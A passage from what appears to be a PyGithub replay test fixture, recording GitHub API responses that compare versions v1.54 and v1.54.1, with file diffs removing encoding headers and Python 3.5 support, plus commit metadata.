#\r"},{"sha":"4d97ac970a00ea1787d9dc65ca023be16e892ef6","filename":"tests/SourceImport.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSourceImport.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSourceImport.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FSourceImport.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Hayden Fuss #"},{"sha":"270e2d88a14564f6097283c84b8dbf1e792ac5fb","filename":"tests/Tag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c2d9d46bff5d68844afd16b5b56030afa4b49a75","filename":"tests/Team.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTeam.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTeam.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTeam.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"8bdfeaaf037cdf07efa1b24b42e7a36410ab969d","filename":"tests/Topic.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTopic.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTopic.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTopic.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Adam Baratz #\n@@ -55,7 +53,7 @@ def testAllFields(self):\n self.assertEqual(topic.curated, True)\n self.assertEqual(topic.score, 7576.306)\n \n- self.assertEqual(topic.__repr__(), u'Topic(name=\"python\")')\n+ self.assertEqual(topic.__repr__(), 'Topic(name=\"python\")')\n \n def testNamesFromSearchResults(self):\n expected_names = ["},{"sha":"7dfe6dcc7421df0b3a81f06d31b220d6557a8baf","filename":"tests/Traffic.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTraffic.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTraffic.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTraffic.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"36cf3d18b5e94b885a11188b72d848bd8d777015","filename":"tests/UserKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FUserKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FUserKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FUserKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"4f8ead191a6a86df5b821880cbfabc6be99de8fa","filename":"tests/Workflow.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflow.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflow.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FWorkflow.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"02054bd707942c4f02705bc83c87769e1003390b","filename":"tests/WorkflowRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflowRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflowRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FWorkflowRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"6b87e3610b80eb24a45d4bd453c42c9937d8ae7d","filename":"tests/__init__.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2F__init__.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2F__init__.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2F__init__.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"2d5c77f33a288f18a9b73114572de1c5c3b9ec94","filename":"tests/conftest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2Fconftest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2Fconftest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2Fconftest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"a7e67b244bb63cbaec0df7e66aa79d53924d153f","filename":"tox.ini","status":"modified","additions":1,"deletions":2,"changes":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tox.ini","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tox.ini","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tox.ini?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,12 +1,11 @@\n [tox]\n envlist =\n lint,\n- py{35,36,37,38,39},\n+ py{36,37,38,39},\n docs\n \n [gh-actions]\n python =\n- 3.5: py35\n 3.6: py36, docs, lint\n 3.7: py37\n 3.8: py38"}]} https GET api.github.com None /repositories/3544490/compare/v1.54...v1.54.1?page=2&per_page=4 {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6a2540e749bca921514c34cdd8a33cf658bbd410aee3eb837f2e2498e99b3558"'), ('Last-Modified', 'Thu, 24 Dec 2020 04:11:01 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="last", ; rel="next", ; rel="first", ; rel="prev"'), ('x-accepted-github-permissions', 'contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4962'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '38'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B656:2D7FFC:1F48C1B:1FBD2A0:65B0B20A')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1","html_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1","permalink_url":"https://github.com/PyGithub/PyGithub/compare/PyGithub:951fcdf...PyGithub:34d097c","diff_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.diff","patch_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.patch","base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"merge_base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"status":"ahead","ahead_by":10,"behind_by":0,"total_commits":10,"commits":[{"sha":"82c349ce3e1c556531110753831b3133334c19b7","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo4MmMzNDljZTNlMWM1NTY1MzExMTA3NTM4MzFiMzEzMzMzNGMxOWI3","commit":{"author":{"name":"Paul Du Bois","email":"dubois@adobe.com","date":"2020-12-03T02:12:41Z"},"committer":{"name":"Paul Du Bois","email":"dubois@adobe.com","date":"2020-12-03T02:12:41Z"},"message":"Fix #1731: Incorrect annotation","tree":{"sha":"b3948a8f30112d7cca24b96606dea93349b1b856","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b3948a8f30112d7cca24b96606dea93349b1b856"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/82c349ce3e1c556531110753831b3133334c19b7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/82c349ce3e1c556531110753831b3133334c19b7","html_url":"https://github.com/PyGithub/PyGithub/commit/82c349ce3e1c556531110753831b3133334c19b7","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/82c349ce3e1c556531110753831b3133334c19b7/comments","author":null,"committer":null,"parents":[{"sha":"24251f4b0f1ef4abe10c590af17620eb2ed3576c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/24251f4b0f1ef4abe10c590af17620eb2ed3576c","html_url":"https://github.com/PyGithub/PyGithub/commit/24251f4b0f1ef4abe10c590af17620eb2ed3576c"}]},{"sha":"2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","node_id":"MDY6Q29tbWl0MzU0NDQ5MDoyNDMyY2ZmZDNiMmYxYThlMGI2Yjk2ZDY5YjNkZDRkZWQxNDhhOWY3","commit":{"author":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-12-03T12:32:53Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-03T12:32:53Z"},"message":"Merge pull request #1733 from dubois/main\n\nFix #1731: Incorrect annotation","tree":{"sha":"98dbe74b6c69fd6d89650824bb5fa48d59ad4499","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/98dbe74b6c69fd6d89650824bb5fa48d59ad4499"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfyNr1CRBK7hj4Ov3rIwAAdHIIACMaCONmlMgdxcZuJSjZtdIo\navRBcycP0TgRB0w1Ax+JaxyQlW6L9yG6A1uijFE+dMYHNWcaDkMNb+plB/mmlqZe\nw4fv5l10JdvNKpslI8UsxYZPPVFPGrWLUdsI7+Jv8gSklOmXZ179N45CUp1uQ4T4\n5h95YTyyKuWF8Lc1qZI2zUX+11ts6k5Z+dqlw0ilu2t0VWwNLTmx85wCi0lDzhdn\n/ZqubVn+et0MoIhFnTpaj8GhLRV+wUFhBg+j+ynhViTd4Kb1wXQKaJTaJKkRupGU\nTxlrYgOVLPm47B8q2bCH5LmpT1iUVhCYs/JPjOeEJXn7tP1VaSBqhU+gmvzssKI=\n=cEIt\n-----END PGP SIGNATURE-----\n","payload":"tree 98dbe74b6c69fd6d89650824bb5fa48d59ad4499\nparent 63e4fae997a9a5dc8c2b56907c87c565537bb28f\nparent 82c349ce3e1c556531110753831b3133334c19b7\nauthor Pascal Hofmann 1606998773 +0100\ncommitter GitHub 1606998773 +0100\n\nMerge pull request #1733 from dubois/main\n\nFix #1731: Incorrect annotation"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","html_url":"https://github.com/PyGithub/PyGithub/commit/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7/comments","author":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"63e4fae997a9a5dc8c2b56907c87c565537bb28f","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f","html_url":"https://github.com/PyGithub/PyGithub/commit/63e4fae997a9a5dc8c2b56907c87c565537bb28f"},{"sha":"82c349ce3e1c556531110753831b3133334c19b7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/82c349ce3e1c556531110753831b3133334c19b7","html_url":"https://github.com/PyGithub/PyGithub/commit/82c349ce3e1c556531110753831b3133334c19b7"}]},{"sha":"e113e37de1ec687c68337d777f3629251b35ab28","node_id":"MDY6Q29tbWl0MzU0NDQ5MDplMTEzZTM3ZGUxZWM2ODdjNjgzMzdkNzc3ZjM2MjkyNTFiMzVhYjI4","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-15T03:07:33Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-15T03:07:33Z"},"message":"Add pyupgrade to pre-commit configuration (#1783)\n\nTo help us switch to f-strings and other 3.6+ changes, add pyupgrade to\r\nour pre-commit configuration to keep the codebase clean.","tree":{"sha":"3bdfb7b92b80e7df710bd666dcb00fd04d964340","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/3bdfb7b92b80e7df710bd666dcb00fd04d964340"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e113e37de1ec687c68337d777f3629251b35ab28","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJf2Ch1CRBK7hj4Ov3rIwAAdHIIAJAasU9Em5OS36vmelEIoWdn\nrfFmomE8K5EMcPU0xVoSQXEBaDqqopNM5jq2kS9O9MVYLcyPrbGzhUOZpF57Kkyt\nl7tBNTSvAdrDlxfYxn8duAOC7RtbFVyqoca+llIpuSXCf3G7T1XZ+zErFE8/Jo74\n4JAuMZ7+1GbqcLLYt9ly7pX7dCjXOMkjuVgT4kPMtbOleWr2YQFweONT+B6GyDOu\nHuLShrF2WVTAJCXrAdoq/czK8gOKJFPTHhFPMJqb4le05XliB286plmEUTryPUXG\nk9rJLK3jaRg8TTn7Uwsl3sVxHNl7JirJsdSXESiSnvorbPdEtVQlztDmwYvw0Rg=\n=Qwiy\n-----END PGP SIGNATURE-----\n","payload":"tree 3bdfb7b92b80e7df710bd666dcb00fd04d964340\nparent 2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7\nauthor Steve Kowalik 1608001653 +1100\ncommitter GitHub 1608001653 +1100\n\nAdd pyupgrade to pre-commit configuration (#1783)\n\nTo help us switch to f-strings and other 3.6+ changes, add pyupgrade to\r\nour pre-commit configuration to keep the codebase clean."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e113e37de1ec687c68337d777f3629251b35ab28","html_url":"https://github.com/PyGithub/PyGithub/commit/e113e37de1ec687c68337d777f3629251b35ab28","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e113e37de1ec687c68337d777f3629251b35ab28/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","html_url":"https://github.com/PyGithub/PyGithub/commit/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7"}]},{"sha":"f299699ccd75910593d5ddf7cc6212f70c5c28b1","node_id":"MDY6Q29tbWl0MzU0NDQ5MDpmMjk5Njk5Y2NkNzU5MTA1OTNkNWRkZjdjYzYyMTJmNzBjNWMyOGIx","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-15T03:13:05Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-15T03:13:05Z"},"message":"Ignore pyupgrade commit for git blame (#1785)\n\nSince the pyupgrade commit makes a large amount of changes, ignore the\r\ncommit by default with git blame.","tree":{"sha":"26a66857d79da88f91e239a2b43f01eecb4b3b2b","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/26a66857d79da88f91e239a2b43f01eecb4b3b2b"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP 